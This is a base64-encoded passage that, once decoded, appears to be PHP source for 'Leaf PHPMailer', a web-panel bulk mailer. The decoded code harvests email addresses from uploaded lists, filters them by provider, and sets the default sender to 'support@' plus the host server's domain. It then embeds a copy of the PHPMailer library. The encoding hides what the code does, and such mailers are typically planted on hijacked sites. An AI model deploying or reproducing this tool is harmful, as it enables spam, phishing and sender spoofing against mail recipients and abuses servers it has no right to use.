pbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGEgc2luZ2xlIGhvc3RuYW1lIG9yIG11bHRpcGxlIHNlbWljb2xvbi1kZWxpbWl0ZWQgaG9zdG5hbWVzLgogICAgICogWW91IGNhbiBhbHNvIHNwZWNpZnkgYSBkaWZmZXJlbnQgcG9ydAogICAgICogZm9yIGVhY2ggaG9zdCBieSB1c2luZyB0aGlzIGZvcm1hdDogW2hvc3RuYW1lOnBvcnRdCiAgICAgKiAoZS5nLiAic210cDEuZXhhbXBsZS5jb206MjU7c210cDIuZXhhbXBsZS5jb20iKS4KICAgICAqIFlvdSBjYW4gYWxzbyBzcGVjaWZ5IGVuY3J5cHRpb24gdHlwZSwgZm9yIGV4YW1wbGU6CiAgICAgKiAoZS5nLiAidGxzOi8vc210cDEuZXhhbXBsZS5jb206NTg3O3NzbDovL3NtdHAyLmV4YW1wbGUuY29tOjQ2NSIpLgogICAgICogSG9zdHMgd2lsbCBiZSB0cmllZCBpbiBvcmRlci4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwoKICAgIC8qKgogICAgICogVGhlIGRlZmF1bHQgU01UUCBzZXJ2ZXIgcG9ydC4KICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQFRPRE8gV2h5IGlzIHRoaXMgbmVlZGVkIHdoZW4gdGhlIFNNVFAgY2xhc3MgdGFrZXMgY2FyZSBvZiBpdD8KICAgICAqLwogICAgcHVibGljICRQb3J0ID0gMjU7CgogICAgLyoqCiAgICAgKiBUaGUgU01UUCBIRUxPIG9mIHRoZSBtZXNzYWdlLgogICAgICogRGVmYXVsdCBpcyAkSG9zdG5hbWUuIElmICRIb3N0bmFtZSBpcyBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQKICAgICAqIG9uZSB3aXRoIHRoZSBzYW1lIG1ldGhvZCBkZXNjcmliZWQgYWJvdmUgZm9yICRIb3N0bmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JEhvc3RuYW1lCiAgICAgKi8KICAgIHB1YmxpYyAkSGVsbyA9ICcnOwoKICAgIC8qKgogICAgICogV2hhdCBraW5kIG9mIGVuY3J5cHRpb24gdG8gdXNlIG9uIHRoZSBTTVRQIGNvbm5lY3Rpb24uCiAgICAgKiBPcHRpb25zOiAnJywgJ3NzbCcgb3IgJ3RscycKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBlbmFibGUgVExTIGVuY3J5cHRpb24gYXV0b21hdGljYWxseSBpZiBhIHNlcnZlciBzdXBwb3J0cyBpdCwKICAgICAqIGV2ZW4gaWYgYFNNVFBTZWN1cmVgIGlzIG5vdCBzZXQgdG8gJ3RscycuCiAgICAgKiBCZSBhd2FyZSB0aGF0IGluIFBIUCA+PSA1LjYgdGhpcyByZXF1aXJlcyB0aGF0IHRoZSBzZXJ2ZXIncyBjZXJ0aWZpY2F0ZXMgYXJlIHZhbGlkLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dG9UTFMgPSB0cnVlOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byB1c2UgU01UUCBhdXRoZW50aWNhdGlvbi4KICAgICAqIFVzZXMgdGhlIFVzZXJuYW1lIGFuZCBQYXNzd29yZCBwcm9wZXJ0aWVzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFVzZXJuYW1lCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFBhc3N3b3JkCiAgICAgKi8KICAgIHB1YmxpYyAkU01UUEF1dGggPSBmYWxzZTsKCiAgICAvKioKICAgICAqIE9wdGlvbnMgYXJyYXkgcGFzc2VkIHRvIHN0cmVhbV9jb250ZXh0X2NyZWF0ZSB3aGVuIGNvbm5lY3RpbmcgdmlhIFNNVFAuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyAkU01UUE9wdGlvbnMgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogU01UUCB1c2VybmFtZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlcm5hbWUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcGFzc3dvcmQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGF1dGggdHlwZS4KICAgICAqIE9wdGlvbnMgYXJlIENSQU0tTUQ1LCBMT0dJTiwgUExBSU4sIE5UTE0sIFhPQVVUSDIsIGF0dGVtcHRlZCBpbiB0aGF0IG9yZGVyIGlmIG5vdCBzcGVjaWZpZWQKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgcmVhbG0uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkUmVhbG0gPSAnJzsKCiAgICAvKioKICAgICAqIFNNVFAgd29ya3N0YXRpb24uCiAgICAgKiBVc2VkIGZvciBOVExNIGF1dGgKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkV29ya3N0YXRpb24gPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTTVRQIHNlcnZlciB0aW1lb3V0IGluIHNlY29uZHMuCiAgICAgKiBEZWZhdWx0IG9mIDUgbWludXRlcyAoMzAwc2VjKSBpcyBmcm9tIFJGQzI4MjEgc2VjdGlvbiA0LjUuMy4yCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwoKICAgIC8qKgogICAgICogU01UUCBjbGFzcyBkZWJ1ZyBvdXRwdXQgbW9kZS4KICAgICAqIERlYnVnIG91dHB1dCBsZXZlbC4KICAgICAqIE9wdGlvbnM6CiAgICAgKiAqIGAwYCBObyBvdXRwdXQKICAgICAqICogYDFgIENvbW1hbmRzCiAgICAgKiAqIGAyYCBEYXRhIGFuZCBjb21tYW5kcwogICAgICogKiBgM2AgQXMgMiBwbHVzIGNvbm5lY3Rpb24gc3RhdHVzCiAgICAgKiAqIGA0YCBMb3ctbGV2ZWwgZGF0YSBvdXRwdXQKICAgICAqIEB2YXIgaW50ZWdlcgogICAgICogQHNlZSBTTVRQOjokZG9fZGVidWcKICAgICAqLwogICAgcHVibGljICRTTVRQRGVidWcgPSAwOwoKICAgIC8qKgogICAgICogSG93IHRvIGhhbmRsZSBkZWJ1ZyBvdXRwdXQuCiAgICAgKiBPcHRpb25zOgogICAgICogKiBgZWNob2AgT3V0cHV0IHBsYW